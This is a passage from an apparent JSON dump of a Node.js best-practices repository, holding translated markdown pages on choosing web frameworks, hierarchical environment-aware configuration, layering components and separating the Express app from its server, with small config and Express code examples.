complexity; Steeper learning curve due to a handful of unique narratives (e.g., interceptors, guards, modules, and more); Highly opinionated\n\n**Fastify**\n\nPros: Relatively simple and lean; mostly based on Node.js/JavaScript standards; relatively shallow learning curve; with its official plugins cover many application concerns though not as rich as Nest.js;\n\nCons: Younger than others and not as popular yet; smaller eco-system compared to express and Nest.js\n\n**Koa**\n\nPros: When compared with express: it's Simpler and nimbler; modern API with async/await support; better performance\n\nCons: Covers a small subset of a typical application needs - leaves a handful of app concerns uncovered; Not as popular as express and Nest.js\n\n### A brief choosing guide\n\n**Prefer express.js when** - having an experienced architect onboard _and_ in a need to control the fine-grained pieces of the puzzle. In this circumstances, Koa is also a solid option with a more modern API than express but a much smaller eco-system\n\n**Prefer Fastify when -** The app consists of reasonably-sized components/Microservices (i.e., not a huge monolith); for teams who have solid JavaScript & Node.js knowledge; when sticking to Node.js narratives and spirit is desirable\n\n**Prefer Nest.js when** - It's desirable to design and code in OOP style; when the team is highly experienced with Java/Spring/Angular or similar; for large size app that can't be broken down (i.e. monolith) to autonomous component; for a team that lacks fundamental JavaScript/Node.js skills (not exclusively, this yet another consideration); when the decision-making overhead should be minimized; when the time to the first delivery is a critical factor\n"
  },
  {
    "path": "sections/projectstructre/configguide.basque.md",
    "content": "# Erabili ingurunea errespetatzen duen konfigurazio seguru eta hierarkiko bat\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nKonfigurazio datuekin jardutean, hainbat gauza gogaikarri eta moteltzaile aurki genitzake:\r\n\r\n1. prozesuaren inguruneko aldagaiak erabiliz giltza guztiak ezartzea benetan gogaikarria bihurtzen da 100 giltza injektatu behar ditugunean (haiek soilik konfigurazio fitxategi batean argitaratu partez), hala ere, fitxategiekin jardutean, soilik DevOps administrariak dira gai jokaera aldatzeko, kodea aldatu gabe. Konfigurazio sistema fidagarriek konfigurazio fitxategiak eta prozesu aldagaien berridazketa konbinatu beharko lituzkete\r\n\r\n2. giltza guztiak JSON batean zehaztean, balioak aurkitu eta aldatzea frustragarria da zerrenda handitzen doan heinean. Ataletan antolatuta dagoen JSON fitxategi hierarkiko batek arazo hori konpondu dezake. Gainera, konfigurazio liburutegi gutxi batzuek konfigurazioa hainbat fitxategitan gordetzea ahalbidetzen dute eta guztiak exekuzio garaian bateratzea. Begiratu beheko adibidea\r\n\r\n3. jakina da ez dela gomendagarria datu baseko pasahitza bezalako informazio garrantzitsua gordetzea, baina ez da irtenbide azkar eta praktikorik existitzen erronka honetarako. Konfigurazio liburutegi batzuek fitxategiak enkriptatzeko aukera ematen dute, beste batzuek GIT argitarapen prozesuen bitartean enkriptatzen dituzte balio horiek edota ez dituzte balio errealak gordetzen, baizik eta ingurune aldagaien bidez zehazten dituzte inplementazio prozesuaren bitartean\r\n\r\n4. konfigurazio egoera aurreratu batzuek konfigurazio giltzak komando sarrera bidez (vargs) injektatzea eskatzen dute, edota konfigurazio informazioa sinkronizatzea Redis bezalako cache memoria erabiliz, zerbitzari ugarik konfigurazio datu berak erabiltzea ahalbidetuz\r\n\r\n5. aplikazioak ahalik eta azkarren huts egin behar du eta berehalako erantzuna eman aplikazioaren abiaraztean, beharrezko ingurune aldagaiak zehaztuta ez badaude. Konfigurazioa balioztatzeko [convict](https://www.npmjs.com/package/convict) erabiliz lor daiteke hori\r\n\r\nKonfigurazio liburutegi batzuek aipatutako funtzionalitate gehienak dohainik eskaintzen dituzte. Eman begiratu bat [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config), eta [convict](https://www.npmjs.com/package/convict) bezalako npm liburutegiei, non aipatutako ezaugarri gehienak betetzen dituzten\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: konfigurazio hierarkikoak balioak aurkitzen eta konfigurazio fitxategi handiak mantentzen laguntzen du\r\n\r\n```json5\r\n{\r\n  // Bezeroen konfigurazio modulua\r\n  Bezeroa: {\r\n    dbConfig: {\r\n      host: \"localhost\",\r\n      port: 5984,\r\n      dbName: \"bezeroak\",\r\n    },\r\n    credit: {\r\n      initialLimit: 100,\r\n      // Ezarri balio txikia garapenerako\r\n      initialDays: 1,\r\n    },\r\n  },\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/configguide.brazilian-portuguese.md",
    "content": "# Use configuração consciente, segura e hierárquica do ambiente\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nAo lidar com dados de configuração, muitas coisas podem simplesmente incomodar e desacelerar:\r\n\r\n1. A configuração de todas as chaves usando variáveis ​​de ambiente de processo torna-se muito entediante quando é necessário injetar 100 chaves (em vez de apenas cometer aquelas em um arquivo de configuração), no entanto, ao lidar com arquivos, os administradores do DevOps não podem alterar o comportamento sem alterar o código. Uma solução de configuração confiável deve combinar os dois arquivos de configuração + substituições das variáveis ​​de processo.\r\n\r\n2. Ao especificar todas as chaves em um JSON simples, é frustrante encontrar e modificar entradas quando a lista ficar maior. Um arquivo JSON hierárquico que é agrupado em seções pode superar esse problema + poucas bibliotecas de configuração permitem armazenar a configuração em vários arquivos e tomar cuidado para unir todas em tempo de execução. Veja o exemplo abaixo.\r\n\r\n3. O armazenamento de informações confidenciais, como a senha do banco de dados, obviamente não é recomendado, mas não existe uma solução rápida e prática para esse desafio. Algumas bibliotecas de configuração permitem criptografar arquivos, outras criptografam essas entradas durante as confirmações do GIT ou simplesmente não armazenam valores reais para essas entradas e especificam o valor real durante a implementação por meio de variáveis ​​de ambiente.\r\n\r\n4. Alguns cenários de configuração avançada exigem a injeção de valores de configuração via linha de comando (vargs) ou informações de configuração de sincronização por meio de um cache centralizado, como o Redis, para que vários servidores usem os mesmos dados de configuração.\r\n\r\nAlgumas bibliotecas de configuração podem fornecer a maioria desses recursos gratuitamente, dê uma olhada nas bibliotecas npm como [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) e [convict](https://www.npmjs.com/package/convict) que satisfazem muitos desses requisitos.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código - configuração hierárquica ajuda a encontrar entradas e manter arquivos de configuração enormes\r\n\r\n```js\r\n{\r\n  // Configurações do módulo do cliente \r\n  \"Customer\": {\r\n    \"dbConfig\": {\r\n      \"host\": \"localhost\",\r\n      \"port\": 5984,\r\n      \"dbName\": \"customers\"\r\n    },\r\n    \"credit\": {\r\n      \"initialLimit\": 100,\r\n      // Definir baixo para desenvolvimento \r\n      \"initialDays\": 1\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/configguide.chinese.md",
    "content": "# 使用环境感知，安全，分层的配置\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n当我们处理配置参数时，常常会很慢并且很烦躁：（1）当需要注入100个keys(而不是只在配置文件中提交它们)时，使用进程环境变量设置所有的keys变得非常繁琐，但是当处理只有devops管理权限的文件时，不改变代码行为就不不会变。一个可靠的配置解决方案必须结合配置文件和进程变量覆盖。（2）枚举一个普通JSON的所有keys时，当目录变得非常庞杂的时候，查找修改条目困难。几乎没有配置库允许将配置存储在多个文件中，运行时将所有文件联合起来。分成几个部分的分层JSON文件能够克服这个问题。请参照下面示例。（3）不推荐存储像密码数据这样的敏感信息，但是又没有快速便捷的方法解决这个难题。一些配置库允许文件加密，其他库在Git提交时加密目录，或者不存储这些目录的真实值，在通过环境变量部署期间枚举真实值。（4）一些高级配置场景需要通过命令行（vargs）注入配置值，或者像Redis一样通过集中缓存同步配置信息，所以不同的服务器不会保存不同的数据。\r\n\r\n一些配置库可以免费提供这些功能的大部分功能，请查看NPM库（[nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) 和 [convict](https://www.npmjs.com/package/convict)）这些库可以满足这些要求中的许多要求。\r\n\r\n<br/><br/>\r\n\r\n### 代码示例 – 分层配置有助于查找条目和维护庞大的配置文件\r\n\r\n```javascript\r\n{\r\n  // Customer module configs \r\n  \"Customer\": {\r\n    \"dbConfig\": {\r\n      \"host\": \"localhost\",\r\n      \"port\": 5984,\r\n      \"dbName\": \"customers\"\r\n    },\r\n    \"credit\": {\r\n      \"initialLimit\": 100,\r\n      // Set low for development \r\n      \"initialDays\": 1\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/configguide.french.md",
    "content": "# Utilisez une configuration respectueuse de l'environnement, sécurisée et hiérarchique\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLorsqu'il s'agit de données de configuration, beaucoup de choses peuvent tout simplement vous énerver et vous freiner :\n\n1. le paramétrage de toutes les clés à l'aide de variables d'environnement de processus devient très fastidieux lorsqu'il faut injecter 100 clés (au lieu de simplement les livrer dans un fichier de configuration), cependant, lorsque l'on traite uniquement des fichiers, les administrateurs DevOps ne peuvent pas modifier le comportement sans modifier le code. Une solution de configuration fiable doit combiner les deux : fichiers de configuration + écrasements des variables de processus.\n\n2. lorsque vous spécifiez toutes les clés d'un JSON plat, il devient frustrant de trouver et de modifier des entrées lorsque la liste s'allonge. Un fichier JSON hiérarchique regroupé en sections peut résoudre ce problème + quelques bibliothèques de configuration permettent de stocker la configuration dans plusieurs fichiers et de de prendre soin de les unifier lors de l'exécution. Voir l'exemple ci-dessous\n\n3. le stockage d'informations sensibles comme le mot de passe de la base de données n'est évidemment pas recommandé, mais aucune solution rapide et pratique n'existe pour ce défi. Certaines bibliothèques de configuration permettent de crypter les fichiers, d'autres cryptent ces entrées pendant les commits GIT ou simplement ne stockent pas les valeurs réelles de ces entrées et spécifient la valeur réelle pendant le déploiement via les variables d'environnement.\n\n4. certains scénarios de configuration avancés nécessitent d'injecter des valeurs de configuration via la ligne de commande (vargs) ou de synchroniser les informations de configuration via un cache centralisé comme Redis afin que plusieurs serveurs utilisent les mêmes données de configuration.\n\n5. l'application doit échouer le plus rapidement possible et fournir un retour immédiat si les variables d'environnement requises ne sont pas présentes au démarrage, ceci peut être réalisé en utilisant [convict](https://www.npmjs.com/package/convict) pour valider la configuration.\n\nCertaines bibliothèques de configuration peuvent fournir gratuitement la plupart de ces fonctionnalités, jetez un œil aux bibliothèques npm comme [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) et [convict](https://www.npmjs.com/package/convict) qui traitent un bon nombre de ces exigences.\n\n<br/><br/>\n\n### Exemple de code - la configuration hiérarchique aide à trouver des entrées et à maintenir d'énormes fichiers de configuration\n\n```json5\n{\n  // Configurations du module Customer\n  \"Customer\": {\n    \"dbConfig\": {\n      \"host\": \"localhost\",\n      \"port\": 5984,\n      \"dbName\": \"customers\"\n    },\n    \"credit\": {\n      \"initialLimit\": 100,\n      // Régler un niveau bas pour le développement\n      \"initialDays\": 1\n    }\n  }\n}\n```\n\n<br/><br/>\n"
  },
  {
    "path": "sections/projectstructre/configguide.japanese.md",
    "content": "# 環境を意識したセキュアで階層的な設定を使用する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n設定データを扱う場合、多くのことはただ単に迷惑であったり、遅くしたりするだけです。\r\n\r\n1. 100個のキーを注入する必要がある場合（設定ファイルでコミットするだけではなく）、プロセス環境変数を使ってすべてのキーを設定するのは面倒になります。しかし、ファイルのみで作業する場合は、devops 管理者はコードを変更しないと挙動を変更することができません。信頼性の高い設定に関する解決策は、両方の設定ファイルとプロセス変数からのオーバーライドを組み合わせる必要があります。\r\n\r\n2. フラットな JSON ですべてのキーを指定する場合、リストが大きくなったときにエントリを見つけて修正するのはイライラします。セクションにグループ化された階層的な JSON ファイルは、この問題を克服することができます + いくつかの設定ライブラリでは、複数のファイルに設定を保存し、実行時にすべてを結合するように注意を払うことができます。以下の例を見てください。\r\n\r\n3. DB パスワードのような機密情報を保存することは明らかに推奨されていませんが、この課題に対する迅速で便利なソリューションは存在しません。設定ライブラリによっては、ファイルの暗号化を許可しているものもあれば、Git コミット時にそれらのエントリを暗号化しているものもありますし、単にそれらのエントリの実値を保存せず、デプロイ時に環境変数で実際の値を指定しているだけのものもあります。\r\n\r\n4. いくつかの高度な設定シナリオでは、コマンドライン ( vargs ) から設定値を注入したり、Redis のような集中化されたキャッシュを介して設定情報を同期させたりして、複数のサーバが同じ設定データを使用するように要求しています。\r\n\r\n5. アプリケーションは、起動時に必要な環境変数が存在しない場合には、可能な限り迅速に失敗し、即座にフィードバックを提供しなければなりません。これは、設定を検証するために [convict](https://www.npmjs.com/package/convict) を使用することで実現できます。\r\n\r\n設定ライブラリの中には、これらの機能のほとんどを無料で提供できるものもありますので、[rc](https://www.npmjs.com/package/rc) や [nconf](https://www.npmjs.com/package/nconf)、[config](https://www.npmjs.com/package/config)、[convict](https://www.npmjs.com/package/convict) のような、これらの要件を多く満たしている npm ライブラリを見てみてください。\r\n\r\n<br/><br/>\r\n\r\n### コード例 – 階層化された設定は、エントリの検索や巨大な設定ファイルの管理に役立ちます\r\n\r\n```json5\r\n{\r\n  // Customer module configs \r\n  \"Customer\": {\r\n    \"dbConfig\": {\r\n      \"host\": \"localhost\",\r\n      \"port\": 5984,\r\n      \"dbName\": \"customers\"\r\n    },\r\n    \"credit\": {\r\n      \"initialLimit\": 100,\r\n      // Set low for development \r\n      \"initialDays\": 1\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/configguide.korean.md",
    "content": "# Use environment aware, secure and hierarchical config\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nWhen dealing with configuration data, many things can just annoy and slow down:\r\n\r\n1. setting all the keys using process environment variables becomes very tedious when in need to inject 100 keys (instead of just committing those in a config file), however when dealing with files only the DevOps admins cannot alter the behavior without changing the code. A reliable config solution must combine both configuration files + overrides from the process variables\r\n\r\n2. when specifying all keys in a flat JSON, it becomes frustrating to find and modify entries when the list grows bigger. A hierarchical JSON file that is grouped into sections can overcome this issue + few config libraries allow to store the configuration in multiple files and take care to union all at runtime. See example below\r\n\r\n3. storing sensitive information like DB password is obviously not recommended but no quick and handy solution exists for this challenge. Some configuration libraries allow to encrypt files, others encrypt those entries during GIT commits or simply don't store real values for those entries and specify the actual value during deployment via environment variables.\r\n\r\n4. some advanced configuration scenarios demand to inject configuration values via command line (vargs) or sync configuration info via a centralized cache like Redis so multiple servers will use the same configuration data.\r\n\r\nSome configuration libraries can provide most of these features for free, have a look at npm libraries like [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config), and [convict](https://www.npmjs.com/package/convict) which tick many of these requirements.\r\n\r\n<br/><br/>\r\n\r\n### Code Example – hierarchical config helps to find entries and maintain huge config files\r\n\r\n```js\r\n{\r\n  // Customer module configs \r\n  \"Customer\": {\r\n    \"dbConfig\": {\r\n      \"host\": \"localhost\",\r\n      \"port\": 5984,\r\n      \"dbName\": \"customers\"\r\n    },\r\n    \"credit\": {\r\n      \"initialLimit\": 100,\r\n      // Set low for development \r\n      \"initialDays\": 1\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/configguide.md",
    "content": "# Use environment aware, secure and hierarchical config\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nWhen dealing with configuration data, many things can just annoy and slow down:\r\n\r\n1. setting all the keys using process environment variables becomes very tedious when in need to inject 100 keys (instead of just committing those in a config file), however when dealing with files only the DevOps admins cannot alter the behavior without changing the code. A reliable config solution must combine both configuration files + overrides from the process variables\r\n\r\n2. when specifying all keys in a flat JSON, it becomes frustrating to find and modify entries when the list grows bigger. A hierarchical JSON file that is grouped into sections can overcome this issue + few config libraries allow to store the configuration in multiple files and take care to union all at runtime. See example below\r\n\r\n3. storing sensitive information like DB password is obviously not recommended but no quick and handy solution exists for this challenge. Some configuration libraries allow to encrypt files, others encrypt those entries during GIT commits or simply don't store real values for those entries and specify the actual value during deployment via environment variables.\r\n\r\n4. some advanced configuration scenarios demand to inject configuration values via command line (vargs) or sync configuration info via a centralized cache like Redis so multiple servers will use the same configuration data.\r\n\r\n5. the application should fail as fast as possible and provide the immediate feedback if the required environment variables are not present at start-up, this can be achieved by using [convict](https://www.npmjs.com/package/convict) to validate the configuration.\r\n\r\nSome configuration libraries can provide most of these features for free, have a look at npm libraries like [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config), and [convict](https://www.npmjs.com/package/convict) which tick many of these requirements.\r\n\r\n<br/><br/>\r\n\r\n### Code Example – hierarchical config helps to find entries and maintain huge config files\r\n\r\n```json5\r\n{\r\n  // Customer module configs \r\n  \"Customer\": {\r\n    \"dbConfig\": {\r\n      \"host\": \"localhost\",\r\n      \"port\": 5984,\r\n      \"dbName\": \"customers\"\r\n    },\r\n    \"credit\": {\r\n      \"initialLimit\": 100,\r\n      // Set low for development \r\n      \"initialDays\": 1\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/configguide.polish.md",
    "content": "# Używaj konfiguracji przyjaznej środowisku, bezpiecznej i hierarchicznej\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nW przypadku danych konfiguracyjnych wiele rzeczy może po prostu denerwować i spowalniać:\n\n1. ustawienie wszystkich kluczy przy użyciu zmiennych środowiskowych procesu staje się bardzo żmudne, gdy trzeba wstrzyknąć 100 kluczy (zamiast po prostu zatwierdzić je w pliku konfiguracyjnym), jednak podczas pracy z plikami tylko administratorzy DevOps nie mogą zmienić zachowania bez zmiany kodu. Niezawodne rozwiązanie konfiguracyjne musi łączyć oba pliki konfiguracyjne + przesłonięcia zmiennych procesowych\n\n2. przy określaniu wszystkich kluczy w płaskim JSON, frustracją jest szukanie i modyfikowanie wpisów, gdy lista powiększa się. Hierarchiczny plik JSON zgrupowany w sekcje może rozwiązać ten problem + kilka bibliotek konfiguracji pozwala przechowywać konfigurację w wielu plikach i zadbać o połączenie wszystkich w czasie wykonywania. Zobacz przykład poniżej\n\n3. przechowywanie poufnych informacji, takich jak hasło BD, oczywiście nie jest zalecane, ale nie istnieje szybkie i wygodne rozwiązanie tego wyzwania. Niektóre biblioteki konfiguracyjne pozwalają na szyfrowanie plików, inne szyfrują te wpisy podczas zatwierdzeń GIT lub po prostu nie przechowują rzeczywistych wartości tych wpisów i określają rzeczywistą wartość podczas wdrażania za pomocą zmiennych środowiskowych.\n\n4. niektóre zaawansowane scenariusze konfiguracji wymagają wprowadzenia wartości konfiguracji za pomocą wiersza poleceń (vargs) lub zsynchronizowania informacji o konfiguracji za pośrednictwem scentralizowanej pamięci podręcznej, takiej jak Redis, aby wiele serwerów używało tych samych danych konfiguracyjnych.\n\n5. aplikacja powinna zakończyć się tak szybko, jak to możliwe i przekazać natychmiastowe informacje zwrotne, jeśli wymagane zmienne środowiskowe nie są obecne podczas uruchamiania, można to osiągnąć za pomocą [convict](https://www.npmjs.com/package/convict) aby sprawdzić poprawność konfiguracji.\n\nNiektóre biblioteki konfiguracyjne mogą zapewniać większość tych funkcji za darmo, zobacz biblioteki npm, takie jak [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) i [convict](https://www.npmjs.com/package/convict) które spełniają wiele z tych wymagań.\n\n<br/><br/>\n\n### Przykład kodu - konfiguracja hierarchiczna pomaga znaleźć wpisy i zarządzać dużymi plikami konfiguracyjnymi\n\n```json5\n{\n  // Customer module configs \n  \"Customer\": {\n    \"dbConfig\": {\n      \"host\": \"localhost\",\n      \"port\": 5984,\n      \"dbName\": \"customers\"\n    },\n    \"credit\": {\n      \"initialLimit\": 100,\n      // Set low for development \n      \"initialDays\": 1\n    }\n  }\n}\n```\n\n<br/><br/>\n"
  },
  {
    "path": "sections/projectstructre/configguide.russian.md",
    "content": "# Используйте конфигурацию с учетом среды, безопасную и иерархическую конфигурацию\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nПри работе с данными конфигурации многие вещи могут просто раздражать и замедлять:\r\n\r\n1. Установка всех ключей с использованием переменных среды становится очень утомительной, когда необходимо ввести 100 ключей (вместо того, чтобы просто фиксировать их в файле конфигурации), однако при работе с файлами только администраторы DevOps не могут изменить поведение без изменения кода. Надежное конфигурационное решение должно объединять оба файла конфигурации + переопределения из переменных процесса\r\n\r\n2. При указании всех ключей в плоском JSON становится сложно найти и изменить записи, когда список увеличивается. Эту проблему можно решить с помощью иерархического файла JSON, сгруппированного по разделам. + Несколько библиотек конфигурации позволяют хранить конфигурацию в нескольких файлах и объединять их во время выполнения. См пример ниже\r\n\r\n3. Хранение конфиденциальной информации, такой как пароль БД, явно не рекомендуется, но быстрого и удобного решения для этой задачи не существует. Некоторые библиотеки конфигурации позволяют шифровать файлы, другие шифруют эти записи во время коммитов GIT или просто не сохраняют реальные значения для этих записей и указывают фактическое значение во время развертывания через переменные среды.\r\n\r\n4. Некоторые расширенные сценарии конфигурации требуют ввода значений конфигурации через командную строку (vargs) или синхронизируют информацию о конфигурации через централизованный кеш, такой как Redis, чтобы несколько серверов использовали одни и те же данные конфигурации.\r\n\r\n5. Приложение должно работать как можно быстрее и обеспечивать немедленную обратную связь, если требуемые переменные среды отсутствуют при запуске, можно использовать [convict](https://www.npmjs.com/package/convict) для проверки конфигурации.\r\n\r\nНекоторые библиотеки конфигурации могут предоставить большинство этих функций бесплатно, посмотрите библиотеки npm, такие как [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) и [convict](https://www.npmjs.com/package/convict),  которые отмечают многие из этих требований.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - иерархическая конфигурация помогает находить записи и поддерживать огромные конфигурационные файлы\r\n\r\n```json5\r\n{\r\n  // Customer module configs \r\n  \"Customer\": {\r\n    \"dbConfig\": {\r\n      \"host\": \"localhost\",\r\n      \"port\": 5984,\r\n      \"dbName\": \"customers\"\r\n    },\r\n    \"credit\": {\r\n      \"initialLimit\": 100,\r\n      // Set low for development \r\n      \"initialDays\": 1\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/projectstructre/createlayers.basque.md",
    "content": "# Antolatu zure aplikazioa geruzatan, mantendu Express bere esparruaren barruan\r\n\r\n<br/><br/>\r\n\r\n### Osagaien kodea geruzatan banandu: web, zerbitzuak, eta Datuen Sarbide Geruza (DSG) (Ingelesez Data Access Layer, DAL)\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Osagaien kodea geruzatan banandu\")\r\n\r\n<br/><br/>\r\n\r\n### Minutu bateko azalpena: geruzak nahastearen eragozpena\r\n\r\n![alt text](../../assets/images/keepexpressinweb.gif \"Geruzak nahastearen eragozpena\")\r\n"
  },
  {
    "path": "sections/projectstructre/createlayers.brazilian-portuguese.md",
    "content": "# Coloque seus Componentes em Camadas, mantenha o Express dentro de seus limites\r\n\r\n<br/><br/>\r\n\r\n ### Separe o código do componente em camadas: web, serviços e DAL\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Separe o código do componente em camadas\")\r\n\r\n <br/><br/>\r\n\r\n### Explicação em 1 minuto: A desvantagem de misturar camadas\r\n\r\n![alt text](../../assets/images/keepexpressinweb.gif \"A desvantagem de misturar camadas\")\r\n"
  },
  {
    "path": "sections/projectstructre/createlayers.chinese.md",
    "content": "# 应用程序分层，保持Express在其边界内\r\n\r\n<br/><br/>\r\n \r\n ### 将组件代码分成web, services, DAL层\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Separate component code into layers\")\r\n\r\n <br/><br/> \r\n\r\n### 1分钟说明：混合层的缺点\r\n![alt text](../../assets/images/keepexpressinweb.gif \"The downside of mixing layers\")\r\n"
  },
  {
    "path": "sections/projectstructre/createlayers.french.md",
    "content": "# Organisez vos composants en strates, laissez Express gérer ses responsabilités\n\n<br/><br/>\n\n ### Séparez le code des composants en strates : web, services et couche d'accès aux données (DAL)\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Séparez le code des composants en strates\")\n\n <br/><br/>\n\n### Explication en 1 min : l'inconvénient de mélanger les strates\n\n![alt text](../../assets/images/keepexpressinweb.gif \"L'inconvénient de mélanger les strates\")\n"
  },
  {
    "path": "sections/projectstructre/createlayers.japanese.md",
    "content": "# アプリケーションを階層化し、 Express を境界内に収める\r\n\r\n<br/><br/>\r\n\r\n ### コンポーネントコードをウェブ、サービス、DAL のレイヤーに分ける\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"コンポーネントコードを階層化する\")\r\n\r\n <br/><br/>\r\n\r\n### 1分解説: レイヤーを混ぜることのデメリット\r\n\r\n![alt text](../../assets/images/keepexpressinweb.gif \"レイヤーを混ぜることのデメリット\")\r\n"
  },
  {
    "path": "sections/projectstructre/createlayers.korean.md",
    "content": "# 컴포넌트를 계층화(layer)하고, Express를 그 경계 안에 둬라\n\n<br/><br/>\n\n ### 컴포넌트 코드를 웹, 서비스, 데이터 접근 언어(DAL) 계층으로 나누어라\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Separate component code into layers\")\n\n <br/><br/>\n\n### 1분 설명: 계층을 섞으면 불리한 점\n\n![alt text](../../assets/images/keepexpressinweb.gif \"The downside of mixing layers\")\n"
  },
  {
    "path": "sections/projectstructre/createlayers.md",
    "content": "# Layer your app, keep Express within its boundaries\r\n\r\n<br/><br/>\r\n\r\n### Separate component code into 3 layers\r\n\r\nThe root of every component should hold 3 folders that represent common concerns and stages of every transaction:\r\n\r\n```bash\r\nmy-system\r\n├─ apps (components)\r\n│  ├─ component-a\r\n   │  ├─ entry-points\r\n   │  │  ├─ api # controller comes here\r\n   │  │  ├─ message-queue # message consumer comes here\r\n   │  ├─ domain # features and flows: DTO, services, logic\r\n   │  ├─ data-access # DB calls w/o ORM\r\n```\r\n\r\n**- Entry-points -** This is where requests and flows start, whether it's REST API, Graph, message queue, scheduled jobs or any other _door_ to the application. This layer's responsibility is quite minimal - adapt the payload (e.g., JSON) to the app format, including first validation, call the logic/domain layer and return a response. This is typically achieved with a few lines of code. Many use the term \"controller\" for this type of code also technically, its just an adapter\r\n\r\n**- Domain -** This is where the app flows, logic and data live. This layer accepts protocol-agnostic payload, plain JavaScript object and returns one as well. Technically it contains common code objects like services, dto/entities, and clients that call external services. It also typically calls the data-access layer to retrieve or persist information\r\n\r\n**- Data-access -** This is where the app holds code that interacts with DB. Ideally, it should externalize an interface that returns/gets plain JavaScript object that is DB agnostic (also known as the repository-pattern). This layer involves DB helper utilities like query builders, ORMs, DB drivers and other implementation libraries\r\n\r\n**What is the merit? -** When having flexible infrastructure that allows adding more API calls and DB queries promptly, a developer can code a feature faster by focusing on the domain folder. In other words, less time is spent on technical activities and more on activities with added value. This is a ubiquitous trait that is at the heart of most software architectures like DDD, hexagonal, clean-architecture and others. On top of this, when the domain layer is not aware of any edge protocol, it can serve any client and not only HTTP calls\r\n\r\n**Why not MVC or clean architecture? -** The 3-tier pattern strikes a great balance between achieving the separation goal while still keeping the structure simple. It also lacks abstractions - each tier represents real-world physical tier where every request will visit. On the other hand, MVC is a simplistic pattern where the letters VC represent a few lines of a code only and the letter M means anything else. Clean architecture is architecture with high level of abstractions that can achieve even greater separation but the price tag is unproportionally higher due to the increased complexity"
  },
  {
    "path": "sections/projectstructre/createlayers.polish.md",
    "content": "# Nakładaj warstwę na aplikację i trzymaj Express w jej granicach\n\n<br/><br/>\n\n ### Rozdziel kod komponentu na warstwy: sieć, usługi i DAL\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Separate component code into layers\")\n\n <br/><br/>\n\n### 1 minuta wyjaśniania: Minusem mieszanie warstw\n\n![alt text](../../assets/images/keepexpressinweb.gif \"The downside of mixing layers\")\n"
  },
  {
    "path": "sections/projectstructre/createlayers.russian.md",
    "content": "# Выделяйте ваши компоненты в отдельный слой, держите Express в его границах\r\n\r\n<br/><br/>\r\n\r\n### Разделить код компонента на слои: веб, сервисы и DAL\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Separate component code into layers\")\r\n\r\n <br/><br/>\r\n\r\n### 1 минутное объяснение: обратная сторона смешения слоев\r\n\r\n![alt text](../../assets/images/keepexpressinweb.gif \"The downside of mixing layers\")\r\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.basque.md",
    "content": "# Banandu Express 'aplikazioa' eta 'zerbitzaria'\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nAzken Express sorgailuak mantentzea merezi duen sekulako praktika bikaina du. Izan ere, APIaren deklarazioa sarearekin erlazionatutako ezarpenetatik (portua, protokoloa, etab.) banandua dago. Horrek ahalbidetzen du APIa egiaztatzea prozesua martxan den bitartean, sare deirik egin gabe eta horrek dakartzan onura guztiekin: egiaztatze azkarren exekuzioa eta estalduraren metrikak eskuratzea. API bera sare baldintza malgu eta ezberdinetan inplementatzea ere ahalbidetzen du. Gehigarria: arduren bereizte hobea eta kode garbiagoa\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: APIaren deklarazioak app.js/app.ts-en barruan egon beharko luke\r\n\r\n```javascript\r\nconst app = express();\r\napp.use(bodyParser.json());\r\napp.use(\"/api/events\", events.API);\r\napp.use(\"/api/forms\", forms);\r\n```\r\n\r\n### Kode adibidea: zerbitzari sarearen deklarazioak /bin/www-en barruan egon beharko luke\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nconst app = require(\"../app\");\r\nconst http = require(\"http\");\r\n\r\n// 